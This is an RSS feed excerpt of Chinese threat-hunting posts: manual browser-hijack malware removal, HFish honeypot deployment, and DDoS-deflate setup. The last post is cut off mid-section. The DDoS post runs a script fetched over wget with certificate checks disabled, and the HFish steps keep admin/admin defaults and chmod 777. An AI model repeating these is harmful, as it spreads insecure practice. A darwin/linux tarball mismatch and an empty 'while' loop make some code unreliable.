                        <link>https://itprosec.com/community/threat-hunting/%e6%89%8b%e5%8a%a8%e6%a3%80%e6%b5%8b%e6%81%b6%e6%84%8f%e8%bd%af%e4%bb%b6%e5%92%8c%e6%b8%85%e9%99%a4%e6%81%b6%e6%84%8f%e8%bd%af%e4%bb%b6%e5%8a%ab%e6%8c%81%e6%b5%8f%e8%a7%88%e5%99%a8%e8%a1%8c%e4%b8%ba/</link>
                        <pubDate>Fri, 15 May 2020 13:00:47 +0000</pubDate>
                        <description><![CDATA[火

按下键盘上的win(旗标键)+R键 打开运行对话框 在对话框里输入
regedit 注册表
msconfig 启动项管理工具
gpedit.msc 组策略
inetcpl.cpl IE选项
 
控制面板--管理工具--服务
控制面板-管理工具--任务计划程序


1:注册表
2:启动项
3:注入模块
4:host文件
5:驱动文件
6:浏览...]]></description>
                        <content:encoded><![CDATA[<p>火绒http://www.huorong.cn/</p>
<ol class="linenums">
<li class="L0" value="1"><span class="pun">按下键盘上的</span><span class="pln">win</span><span class="pun">(旗标键)+</span><span class="pln">R</span><span class="pun">键</span><span class="pln"> </span><span class="pun">打开运行对话框</span><span class="pln"> </span><span class="pun">在对话框里输入</span></li>
<li class="L1"><span class="pln">regedit </span><span class="pun">注册表</span></li>
<li class="L2"><span class="pln">msconfig </span><span class="pun">启动项管理工具</span></li>
<li class="L3"><span class="pln">gpedit</span><span class="pun">.</span><span class="pln">msc </span><span class="pun">组策略</span></li>
<li class="L4"><span class="pln">inetcpl</span><span class="pun">.</span><span class="pln">cpl IE</span><span class="pun">选项</span></li>
<li class="L5"><span class="pln"> </span></li>
<li class="L6"><span class="pun">控制面板--管理工具--服务</span></li>
<li class="L7"><span class="pun">控制面板-管理工具--任务计划程序</span></li>
</ol>
<ol class="linenums">
<li class="L0" value="1"><span class="lit">1</span><span class="pun">:注册表</span></li>
<li class="L1"><span class="lit">2</span><span class="pun">:启动项</span></li>
<li class="L2"><span class="lit">3</span><span class="pun">:注入模块</span></li>
<li class="L3"><span class="lit">4</span><span class="pun">:</span><span class="pln">host</span><span class="pun">文件</span></li>
<li class="L4"><span class="lit">5</span><span class="pun">:驱动文件</span></li>
<li class="L5"><span class="lit">6</span><span class="pun">:浏览器加载项目</span></li>
<li class="L6"><span class="lit">7</span><span class="pun">:</span><span class="typ">Dns</span><span class="pun">劫持</span></li>
<li class="L7"><span class="lit">8</span><span class="pun">:服务项目</span></li>
<li class="L8"><span class="lit">9</span><span class="pun">:浏览器配置文件</span></li>
<li class="L9"><span class="lit">10</span><span class="pun">:计划任务</span></li>
<li class="L0"><span class="lit">11</span><span class="pun">:桌面快捷方式添加命令参数</span></li>
</ol>
<p><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/yunxing.png"><img class="aligncenter size-medium wp-image-2507" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/yunxing-300x183.png" alt="" width="300" height="183" /></a><br /><span><strong>注册表</strong></span><br />一般从编程的思路上来说，劫持浏览器的行为一般是通过更改系统的一些配置，有时候恶意软件是通过更改注册表里的相关键值来实现浏览器劫持，因为浏览器在启动的时候会自动去读取相关的注册表键值打开主页。所以很多恶意软件也会更改注册表的相关键值来实现劫持.我们可以打开注册表，然后点击工具栏上的 编辑\查找 在查找目标文本框里输入当前被劫持到的首页的域名，F3键可以继续搜索下一个。然后将搜索出来的项目或键值的值更改，即把包含这个域名的键值的文本值改为你需要的地址。如果提示没有权限更改的时候，请用Administrotor账户登录，或者在该注册表项目上点击右键\权限 然后将当前用户添加到此权限用户组里即可.<br /><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/zhuchebiao.png"><img class="aligncenter size-medium wp-image-2498" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/zhuchebiao-300x227.png" alt="" width="300" height="227" /></a><br /><span><strong>启动项</strong></span><br />启动项也会为很多种，一般一个程序或模块要随机启动的话，首先是将行为写入驱动文件(.sys文件)，然后驱动文件会在系统加载之前被先加载，而我们要查杀恶意驱动文件的话，只能是在安全模式下进行删除，正常模式下是不能删除驱动文件的，强行删除的话会造成蓝屏或系统崩溃。其次，恶意程序也可以将自身行为写成一个模块(.dll文件)，并将这个模块注入到其他进程之中，那么其他进程启动的时候就会把这个模块也启动。例如Explorer.exe，这是系统重要进程，如果这个进程没有启动的话，桌面是不会显示的。所以很多恶意软件和病毒会注入这个进程，我们要查看进程加载的模块，只能是借助一些其他程序，比如火绒扩展软件中的火绒剑，或者PowerTool或XT等。还有就是注册表启动了，因为系统启动的过程中会读取注册表的一些键值，根据用户配置来启动一些软件，一些正常的软件会将自己的主程序路径写入注册表启动键值中。开始菜单里的启动项也是会被写入注册表的。系统的计划任务程序也是可以定时启动文件的。<br /><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/mscnfog.png"><img class="aligncenter size-medium wp-image-2499" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/mscnfog-300x188.png" alt="" width="300" height="188" /></a><br /><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/qidong.png"><img class="aligncenter size-medium wp-image-2500" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/qidong-300x235.png" alt="" width="300" height="235" /></a><br /><span><strong>注入模块</strong></span><br />上面我们说了，恶意软件或病毒会把自己的行为写成.dll库文件，然后将这个模块注入到其他正常进程之中，常见的被注入的模块是Explorer.exe IInternetExplorer.exe这两个进程，我们可以用火绒剑，或者PowerTool或XT等软件显示这些进程所有加载模块，如果看到有异常的模块我们可以在安全模式下进行删除，不过删除前需要确认模块的路径，因为输入法，显卡，声卡，安全软件等很多正常程序也会把自身模块注入到其他进程。<br /><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/jincheng.png"><img class="aligncenter size-medium wp-image-2501" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/jincheng-300x235.png" alt="" width="300" height="235" /></a><br /><span><strong>host文件</strong></span><br />打开系统当前盘符(c:)\工具\文件夹选项\隐藏受保护的操作系统文件(去勾)\显示隐藏的文件、文件夹和驱动器(选中)\Windows\System32\drivers\etc\hosts 用记事本打开这个文件，然后看一看里边有没有恶意的网址信息，用的话就将该行删除，如果提示没有权限删除的话，在hosts文件上右键\属性\安全\高级\更改权限 将当前用户名添加进权限项目里。<br /><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/host.png"><img class="aligncenter size-medium wp-image-2502" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/host-300x208.png" alt="" width="300" height="208" /></a><br /><span><strong>驱动文件</strong></span><br />如何判断一个驱动文件是不是恶意文件或病毒文件，我们只能是使用杀毒软件或安全软件扫描系统，根据扫描结果来判断并在安全模式下删除，因为系统里的驱动文件实在太多了，这里不得不说一下国内的软件行业，一个播放器，一个聊天工具，一个非安全性能的软件也非得写驱动来加载，实在不知道他们想干什么。</p>
<p><span><strong>浏览器加载项</strong></span><br />浏览器加载项一般是IInternetExplorer浏览器里会加载的一些ActiveX控件，基于IInternetExplorer内核的浏览器会受影响，非IInternetExplorer内核的浏览器一般不会受此影，我们可以通过查看当前加载的项目，认为不需要加载的可以用右键\禁用，这里是可以优化一些的加载项目提升浏览器运行速度的。<br /><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/IE.png"><img class="aligncenter size-medium wp-image-2503" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/IE-300x192.png" alt="" width="300" height="192" /></a><br /><span><strong>Dns劫持</strong></span><br />说到这个我们有时候就无能为力了，因为这个有时候不是我们本地电脑和系统的原因，而是ISP(宽带运营商)端口方面进行的劫持，当然，我们也可以通过改变我们本机的DSN地址来看看是不是能规避劫持。<br />屏幕右下角\托盘图标(网络拨号)\右键(打开网络和共享中心)\更改适配器设置\本地连接in当前拨号连接\Internet协议版本4\属性\使用下面的DNS服务器地址\分别填入首选DNS服务器地址和备用DNS服务器地址\确定 如果更换了本地DNS服务器地址还没有效果的话，请检查你的hosts文件，还不能解决问题的话，到工信部官方网站去投诉你现在的宽带运营商。<br /><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/ip4.png"><img class="aligncenter size-medium wp-image-2504" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/ip4-300x244.png" alt="" width="300" height="244" /></a><br /><span><strong>服务项目</strong></span><br />很多朋友经常说有些程序不能正常卸载或进程不能关闭，其实他们都忽略了系统的另一个功能，服务项目(通过svchost.exe来加载)，服务项目比模块和进程的权限要高一点，因为它的启动顺序要比普通进程或模块高，一般是驱动启动后就到服务项目启动，所以我们也要检查我们的服务项目，看看有没有异常的服务项目随机启动，有的话我们可以通过该服务项目上右键\禁止或手动，然后停止该服务项目。删除服务项目可以用命令行来删除，”开始““运行”输入cmd回车，打开cmd。输入sc可以看到使用方法。sc delete “服务名” （如果服务名中间有空格，就需要给服务名前后加半角的双引号）,服务名称不是显示名称。打开“服务”右键“属性”查看。系统自带服务，不要删除。</p>
<p><span><strong>浏览器配置项目</strong></span><br />我之前在卡饭论坛上看过一篇关于浏览器首页被劫持的解决方案，这个恶意软件有点特别，它是将首页地址写入到了浏览器配置项目里去了，一般是.ini/.dat/.xml等后缀名的文件,我们可以通过更改文件夹选项中 文件夹选项\搜索\始终搜索文件名和内容(此过程可能需要几分钟)\选中\确定 然后显示所有隐藏受保护文件和显示所有文件，在c:盘中的搜索框里搜索被劫持的首页地址，然后打开搜索到的文件，将该地址删除或更改为自己需要的首页的地址，保存该文件即可。<br /><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/wenjinja.png"><img class="aligncenter size-medium wp-image-2508" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/wenjinja-265x300.png" alt="" width="265" height="300" /></a><br /><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/wenjinjia2.png"><img class="aligncenter size-medium wp-image-2509" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/wenjinjia2-297x300.png" alt="" width="297" height="300" /></a><br /><span><strong>计划任务程序</strong></span><br />有很多恶意软件或病毒会往计划任务程序里添加项目，进而定时运行或监控，这个也是很多朋友在查杀病毒或恶意软件的时候没有注意的地方，我们可以通过检查计划任务里的项目，看看哪些是可疑的，可以停止或删除该项目，当然，我们也可以借助一些程序来进行检查，如360安全卫士 火绒剑 PowerTool等.<br /><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/jihua.png"><img class="aligncenter size-medium wp-image-2505" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/jihua-300x193.png" alt="" width="300" height="193" /></a><br /><span><strong>桌面快捷方式添加命令参数</strong></span><br />这个作法现在已经很少有恶意软件会这么做了，但也不排除一些恶意软件会这样做，也许该作者二呢，我们可以在该快捷方式图标上右键\属性\目标in起始位置中看一看，有没有特殊的符号，如果有那么就是被天加了命令行参数了。我们可以将特殊符号后边的内容删除掉。<br /><a href="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/kuai.png"><img class="aligncenter size-medium wp-image-2506" src="http://www.myzhenai.com.cn/wp-content/uploads/2017/03/kuai-236x300.png" alt="" width="236" height="300" /></a><br />写在最后:我们只需要了解了这些，我们大致就可以了解一个程序的行为，大致上也能检查出问题到底出在哪里，然后我们就可以手动查杀或清除恶意软件给我们带来的麻烦和困扰。至于说为什么我要推荐火绒剑，那是因为这个程序的直观性比较好，功能性强大，能很好的进行检测和排查。在手动检查之前，需要先了解如何进入安全模式，升级你的安全软件病毒库至最新版本，关闭你的系统还原功能，备份你桌面和用户目录里的重要文件到基他非系统分区的盘里。然后进入安全模式全盘查杀，可以将查杀到的文件在安全模式里删除，如果Explorer.exe 这个进程被感染和替换了，你可以拷贝一个同样系统的该文件，在安全模式下进行替换或用winpe进行替换。</p>
<div class="wbp-cbm"><a class="wb-btn-dwqr wb-btn-donate j-dwqr-donate-btn"><span>打赏</span></a><a class="wb-btn-dwqr wb-btn-like j-dwqr-like-btn" data-count="0"><span class="like-count">赞</span></a><a class="wb-btn-dwqr wb-share-poster j-dwqr-poster-btn"><span>微海报</span></a><a class="wb-btn-dwqr wb-btn-share j-dwqr-social-btn"><span>分享</span></a></div>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/threat-hunting/">Threat Hunting</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/threat-hunting/%e6%89%8b%e5%8a%a8%e6%a3%80%e6%b5%8b%e6%81%b6%e6%84%8f%e8%bd%af%e4%bb%b6%e5%92%8c%e6%b8%85%e9%99%a4%e6%81%b6%e6%84%8f%e8%bd%af%e4%bb%b6%e5%8a%ab%e6%8c%81%e6%b5%8f%e8%a7%88%e5%99%a8%e8%a1%8c%e4%b8%ba/</guid>
                    </item>
				                    <item>
                        <title>基于Centos7下的宝塔面板一键部署HFish – 一款开源蜜罐框架系统</title>
                        <link>https://itprosec.com/community/threat-hunting/%e5%9f%ba%e4%ba%8ecentos7%e4%b8%8b%e7%9a%84%e5%ae%9d%e5%a1%94%e9%9d%a2%e6%9d%bf%e4%b8%80%e9%94%ae%e9%83%a8%e7%bd%b2hfish-%e4%b8%80%e6%ac%be%e5%bc%80%e6%ba%90%e8%9c%9c%e7%bd%90%e6%a1%86/</link>
                        <pubDate>Fri, 08 May 2020 12:55:07 +0000</pubDate>
                        <description><![CDATA[HFish 是一款基于 Golang 开发的跨平台多功能主动诱导型开源蜜罐框架系统，为了企业安全防护做出了精心的打造，全程记录黑客攻击手段，实现防护自主化。
这篇文章简单说说Centos7下面一键部署HFish - 一款开源蜜罐框架系统。大鸟这里介绍的是HFish 使用 Golang + SQLite 开发，使用者可以在 Win + Mac + Linux 上快速部署一套蜜罐...]]></description>
                        <content:encoded><![CDATA[<p>HFish 是一款基于 Golang 开发的跨平台多功能主动诱导型开源蜜罐框架系统，为了企业安全防护做出了精心的打造，全程记录黑客攻击手段，实现防护自主化。</p>
<p>这篇文章简单说说Centos7下面一键部署HFish - 一款开源蜜罐框架系统。大鸟这里介绍的是HFish 使用 <strong><code>Golang</code></strong> + <strong><code>SQLite</code></strong> 开发，使用者可以在 <strong><code>Win</code></strong> + <strong><code>Mac</code></strong> + <strong><code>Linux</code></strong> 上快速部署一套<code>蜜罐平台</code></p>
<h2>什么是蜜罐</h2>
<p><strong>蜜罐</strong> 技术本质上是一种对攻击方进行 <strong>欺骗的技术</strong>，通过布置一些作为 <strong>诱饵的主机</strong>、<strong>网络服务</strong> 或者 <strong>信息</strong>，诱使攻击方对它们实施攻击，从而可以对攻击行为进行 <strong>捕获</strong> 和 <strong>分析</strong>，了解攻击方所使用的工具与方法，推测攻击意图和动机，能够让防御方清晰地了解他们所面对的安全威胁，并通过技术和管理手段来增强实际系统的安全防护能力。</p>
<p><strong>蜜罐</strong> 好比是 <strong>情报收集系统</strong>。蜜罐好像是故意让人攻击的目标，<strong>引诱黑客前来攻击</strong>。所以攻击者入侵后，你就可以知道他是如何得逞的，随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听黑客之间的联系，收集黑客所用的种种工具，并且掌握他们的社交网络。</p>
<h2>HFish的一些简单介绍：</h2>
<p>官网：https://hfish.io/</p>
<p>github：https://github.com/hacklcx/HFish/</p>
<p>使用文档：https://hfish.io/docs/#/</p>
<h2>安装步骤</h2>
<p>安装还是很简单的，可以单击部署，集群部署等等。也提供了docker一键安装。</p>
<h4 id="title-0">1、docker安装</h4>
<p>下载镜像：</p>
<ol class="linenums">
<li class="L0"><span class="pln">docker pull imdevops</span><span class="pun">/</span><span class="pln">hfish</span></li>
</ol>
<p>docker安装命令。</p>
<ol class="linenums">
<li class="L0"><span class="pln">docker run </span><span class="pun">-</span><span class="pln">d </span><span class="pun">--</span><span class="pln">name hfish </span><span class="pun">-</span><span class="pln">p </span><span class="lit">21</span><span class="pun">:</span><span class="lit">21</span><span class="pln"> </span><span class="pun">-</span><span class="pln">p </span><span class="lit">22</span><span class="pun">:</span><span class="lit">22</span><span class="pln"> </span><span class="pun">-</span><span class="pln">p </span><span class="lit">23</span><span class="pun">:</span><span class="lit">23</span><span class="pln"> </span><span class="pun">-</span><span class="pln">p </span><span class="lit">3306</span><span class="pun">:</span><span class="lit">3306</span><span class="pln"> </span><span class="pun">-</span><span class="pln">p </span><span class="lit">6379</span><span class="pun">:</span><span class="lit">6379</span><span class="pln"> </span><span class="pun">-</span><span class="pln">p </span><span class="lit">8080</span><span class="pun">:</span><span class="lit">8080</span><span class="pln"> </span><span class="pun">-</span><span class="pln">p </span><span class="lit">8989</span><span class="pun">:</span><span class="lit">8989</span><span class="pln"> </span><span class="pun">-</span><span class="pln">p </span><span class="lit">9000</span><span class="pun">:</span><span class="lit">9000</span><span class="pln"> </span><span class="pun">-</span><span class="pln">p </span><span class="lit">9001</span><span class="pun">:</span><span class="lit">9001</span><span class="pln"> </span><span class="pun">-</span><span class="pln">p </span><span class="lit">11211</span><span class="pun">:</span><span class="lit">11211</span><span class="pln"> imdevops</span><span class="pun">/</span><span class="pln">hfish</span><span class="pun">:</span><span class="pln">latest</span></li>
</ol>
<p>默认帐号密码均为：<code>admin</code>，如需修改可以通过加入<code>-e USERNAME= -e PASSWORD=</code> 传入环境变量进行修改。</p>
<p>如需做数据持久化存储，可加参数 <code>-v $PWD:/opt</code> 挂载数据卷到宿主机上，避免容器删除数据丢失。</p>
<h3>2、常规部署</h3>
<p>这里我们用常规部署来安装，具体步骤如下。</p>
<h4 id="title-1">2.1、下载包</h4>
<ol class="linenums">
<li class="L0"><span class="pln">wget https</span><span class="pun">:</span><span class="com">//github.com/hacklcx/HFish/releases/download/0.4/HFish-0.4-darwin-amd64.tar.gz</span></li>
</ol>
<h4 id="title-2">2.2解压</h4>
<ol class="linenums">
<li class="L0"><span class="pln">tar </span><span class="pun">-</span><span class="pln">zxvf </span><span class="typ">HFish</span><span class="pun">-</span><span class="lit">0.4</span><span class="pun">-</span><span class="pln">linux</span><span class="pun">-</span><span class="pln">amd64</span><span class="pun">.</span><span class="pln">tar</span><span class="pun">.</span><span class="pln">gz</span></li>
</ol>
<h4 id="title-3">2.3修改config文件</h4>
<p>进入包修改config文件（修改后台账号密码什么的）宝塔面板直接在可以在面板修改。</p>
<ol class="linenums">
<li class="L0"><span class="pln">cd </span><span class="typ">HFish</span><span class="pun">-</span><span class="lit">0.4</span><span class="pun">-</span><span class="pln">linux</span><span class="pun">-</span><span class="pln">amd64</span></li>
</ol>
<p><a href="https://www.daniao.org/wp-content/uploads/2019/11/hfish-1-min.png" data-fancybox="gallery"><img class="aligncenter size-full wp-image-7189" src="https://www.daniao.org/wp-content/uploads/2019/11/hfish-1-min.png" alt="基于Centos7下的宝塔面板一键部署HFish - 一款开源蜜罐框架系统" width="770" height="496" /></a></p>
<h4 id="title-4">2.4修改数据库权限</h4>
<p>数据库给777，也可以在面板里直接给权限</p>
<ol class="linenums">
<li class="L0"><span class="pln">chmod </span><span class="lit">777</span><span class="pln"> </span><span class="pun">-</span><span class="pln">R db</span></li>
</ol>
<h4 id="title-5">2.5启动</h4>
<p>修改完后直接启动，命令如下：</p>
<ol class="linenums">
<li class="L0"><span class="pun">./</span><span class="typ">HFish</span><span class="pln"> run</span></li>
</ol>
<p>需要后台运行加&amp;</p>
<ol class="linenums">
<li class="L0"><span class="pun">./</span><span class="typ">HFish</span><span class="pln"> run </span><span class="pun">&amp;</span></li>
</ol>
<h4 id="title-6">2.6访问</h4>
<p>浏览器打开之后输入【ip:9001】即可访问，如果不能访问，可以在宝塔安全组里面放心端口。</p>
<p><a href="https://www.daniao.org/wp-content/uploads/2019/11/hfish-2-min.png" data-fancybox="gallery"><img class="aligncenter size-full wp-image-7190" src="https://www.daniao.org/wp-content/uploads/2019/11/hfish-2-min.png" alt="基于Centos7下的宝塔面板一键部署HFish - 一款开源蜜罐框架系统" width="1360" height="942" /></a></p>
<p>默认的用户和密码都是admin。</p>
<h4 id="title-7">2.7域名访问</h4>
<p>如果我们觉得【ip+端口号】来访问不方便，那么可以使用反代来解决，宝塔面板来解决就更简单了，新建好一个站点，并绑定好域名。我们在网站设置里面找到方向代理，看图设置：</p>
<p><a href="https://www.daniao.org/wp-content/uploads/2019/11/hfish-4.jpg" data-fancybox="gallery"><img class="aligncenter size-full wp-image-7193" src="https://www.daniao.org/wp-content/uploads/2019/11/hfish-4.jpg" alt="基于Centos7下的宝塔面板一键部署HFish - 一款开源蜜罐框架系统" width="1191" height="728" /></a></p>
<p>这样就可以用域名访问了，如果你需要绑定ssl证书，那么请先停掉袋里，然后申请证书，申请好之后再设置好饭袋。</p>
<h4 id="title-8">HFish 命令使用说明</h4>
<ul>
<li><strong><code>HFish help (--help)</code></strong> 帮助命令</li>
<li><strong><code>HFish run (--run)</code></strong> 启动服务</li>
<li><strong><code>HFish version (--version)</code></strong> 查看当前版本</li>
</ul>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/threat-hunting/">Threat Hunting</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/threat-hunting/%e5%9f%ba%e4%ba%8ecentos7%e4%b8%8b%e7%9a%84%e5%ae%9d%e5%a1%94%e9%9d%a2%e6%9d%bf%e4%b8%80%e9%94%ae%e9%83%a8%e7%bd%b2hfish-%e4%b8%80%e6%ac%be%e5%bc%80%e6%ba%90%e8%9c%9c%e7%bd%90%e6%a1%86/</guid>
                    </item>
				                    <item>
                        <title> 一个防御DDoS的纯Shell脚本</title>
                        <link>https://itprosec.com/community/threat-hunting/ddos-deflate-%e4%b8%80%e4%b8%aa%e9%98%b2%e5%be%a1ddos%e7%9a%84%e7%ba%afshell%e8%84%9a%e6%9c%ac/</link>
                        <pubDate>Sun, 03 May 2020 12:45:13 +0000</pubDate>
                        <description><![CDATA[DDoS deflate是一款免费的用来防御和减轻DDoS攻击的脚本。它通过netstat监测跟踪创建大量网络连接的IP地址，在检测到某个结点超过预设的值时，该脚本会通过APF或iptables禁止这些IP的访问。据说官网为，但是已经无法访问。
 
DDoS deflate
 
安装
直接执行
 复制
1
wget -N --no-check-certifica...]]></description>
                        <content:encoded><![CDATA[<p>DDoS deflate是一款免费的用来防御和减轻DDoS攻击的脚本。它通过netstat监测跟踪创建大量网络连接的IP地址，在检测到某个结点超过预设的值时，该脚本会通过APF或iptables禁止这些IP的访问。<br />据说官网为<span> </span><a href="http://deflate.medialayer.com/" target="_blank" rel="noopener">http://deflate.medialayer.com/</a><span> </span>，但是已经无法访问。</p>
<div data-unique="DDoSdeflate"> </div>
<h1>DDoS deflate</h1>
<div data-unique="安装"> </div>
<h2>安装</h2>
<p>直接执行</p>
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-0" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1</div>
<div id="code-0" class="pre-div"><code class="language-bash hljs">wget -N --no-check-certificate https://lolico.moe/files/scripts/ddos/install-ddos-deflate.sh &amp;&amp; chmod +x install-ddos-deflate.sh &amp;&amp; ./install-ddos-deflate.sh</code></div>
<p>即可自动安装。<br />安装完成后会进入一个给你看本脚本license的界面，按<code>q</code>即可退出。</p>
<div data-unique="配置"> </div>
<h2>配置</h2>
<p>配置文件在<code>/usr/local/ddos/ddos.conf</code>，我已经将配置文件的英文说明汉化。<br />此处展示一下重要配置内容：</p>
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-1" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22</div>
<div id="code-1" class="pre-div"><code class="language-bash hljs"><span class="hljs-comment">##### 运行此脚本的频率（分钟）</span>
<span class="hljs-comment">##### 注意：每当你修改了FREQ这个设置，你需要带 --cron 参数运行一次此脚本才能让这个设置生效</span>
FREQ=1

<span class="hljs-comment">##### 一个IP连接有这~么多连接数才需要拉黑</span>
NO_OF_CONNECTIONS=150

<span class="hljs-comment">##### 是否使用APF（一个防火墙程序）来ban掉IP</span>
<span class="hljs-comment">##### APF_BAN=1 （请确保你的APF版本至少为0.96）</span>
<span class="hljs-comment">##### APF_BAN=0 （用iptables，即系统自带防火墙来ban掉IP）</span>
APF_BAN=0

<span class="hljs-comment">##### KILL=0 （不会ban掉IP，对脚本交互有利）</span>
<span class="hljs-comment">##### KILL=1 （管他的直接ban，推荐使用这个设置）</span>
KILL=1

<span class="hljs-comment">##### 当一个IP被ban之后会发邮件到下面这个邮箱里</span>
<span class="hljs-comment">##### 留空则不会发送</span>
EMAIL_TO=<span class="hljs-string">"root"</span>

<span class="hljs-comment">##### 当这么多秒过去以后，被ban的IP将解ban</span>
BAN_PERIOD=600</code></div>
<p>请根据你自己的需要修改配置，然后保存。</p>
<div data-unique="修改说明"> </div>
<h2>修改说明</h2>
<p>这个脚本经过了我的修改以修复一个严重的 BUG</p>
<ol>
<li>脚本中的第119行
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-2" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1</div>
<div id="code-2" class="pre-div"><code class="language-bash hljs">netstat -ntu | awk <span class="hljs-string">'{print $5}'</span> | cut -d: -f1 | sort | uniq -c | sort -nr &gt; <span class="hljs-variable">$BAD_IP_LIST</span></code></div>
<p>此行被我注释，修改成了第120行的</p>
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-3" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1</div>
<div id="code-3" class="pre-div"><code class="language-bash hljs">netstat -ntu | sed <span class="hljs-string">'1,2d'</span> | awk <span class="hljs-string">'{print $5}'</span> | cut -d: -f1 | sed <span class="hljs-string">'/^\s*$/d'</span> | sort | uniq -c | sort -nr &gt; <span class="hljs-variable">$BAD_IP_LIST</span></code></div>
<p>此处新增的<code>sed '1,2d'</code>是为了过滤掉使用<code>netstat -ntu</code>命令时返回的开头两句英文说明。<br />而<code>sed '/^\s*$/d'</code>是为了删除前一步<code>cut -d: -f1</code>中产生的未删除的空行，如果不删除空行，在后面的统计排序中将会出现将空行也统计进去的BUG。</p>
</li>
<li>脚本里的<code>head()</code>函数被我重命名为<code>showhead()</code>，因为会与系统程序<code>head</code>冲突。</li>
</ol>
<div data-unique="嫌1分钟的运行间隔不够短？"> </div>
<h2>嫌1分钟的运行间隔不够短？</h2>
<p>由于 Crontab 定时任务的最短定时间隔为1分钟，然而如果真的被攻击，1分钟的时间都够服务器喝一大壶的了。</p>
<p>想让脚本运行时间间隔小于1分钟，思路也十分简单，用另一个脚本让 DDoS deflate 在一分钟内运行数次就可以了。</p>
<p>例如要让这个脚本每10秒运行一次：</p>
<ol>
<li>在<code>/usr/local/ddos</code>内新增一个脚本<code>runddos.sh</code>
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-4" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1</div>
<div id="code-4" class="pre-div"><code class="language-bash hljs">vi /usr/<span class="hljs-built_in">local</span>/ddos/runddos.sh</code></div>
<p>并填入以下内容</p>
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-5" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1<br />2<br />3<br />4<br />5<br />6<br />7<br />8</div>
<div id="code-5" class="pre-div"><code class="language-shell hljs"><span class="hljs-meta">#</span><span class="bash">!/bin/sh</span>
i=0;
while 
do
    i=`expr $i + 1`
    /usr/local/ddos/ddos.sh &gt;/dev/null 2&gt;&amp;1
    sleep 10
done</code></div>
<p>然后保存，记得给脚本加执行权限</p>
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-6" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1</div>
<div id="code-6" class="pre-div"><code class="language-bash hljs">chmod +x /usr/<span class="hljs-built_in">local</span>/ddos/runddos.sh</code></div>
</li>
<li>修改 crontab 中 ddos 脚本的配置
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-7" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1</div>
<div id="code-7" class="pre-div"><code class="language-bash hljs">vi /etc/cron.d/ddos.cron</code></div>
<p>将文件中的</p>
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-8" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1</div>
<div id="code-8" class="pre-div"><code class="hljs javascript"><span class="hljs-number">0</span><span class="hljs-number">-59</span>/<span class="hljs-number">1</span> * * * * root /usr/local/ddos/ddos.sh &gt;<span class="hljs-regexp">/dev/</span><span class="hljs-literal">null</span> <span class="hljs-number">2</span>&gt;&amp;<span class="hljs-number">1</span></code></div>
<p>改为</p>
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-9" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1</div>
<div id="code-9" class="pre-div"><code class="hljs javascript"><span class="hljs-number">0</span><span class="hljs-number">-59</span>/<span class="hljs-number">1</span> * * * * root /usr/local/ddos/runddos.sh &gt;<span class="hljs-regexp">/dev/</span><span class="hljs-literal">null</span> <span class="hljs-number">2</span>&gt;&amp;<span class="hljs-number">1</span></code></div>
<p>实际上就是改成我们刚刚新建的那个<code>runddos.sh</code>脚本</p>
</li>
<li>重启 crontab
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-10" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1</div>
<div id="code-10" class="pre-div"><code class="language-bash hljs">service crond restart</code></div>
</li>
</ol>
<p>至此这个修改就完成了</p>
<div data-unique="如果想让脚本监控网站访问日志"> </div>
<h2>如果想让脚本监控网站访问日志</h2>
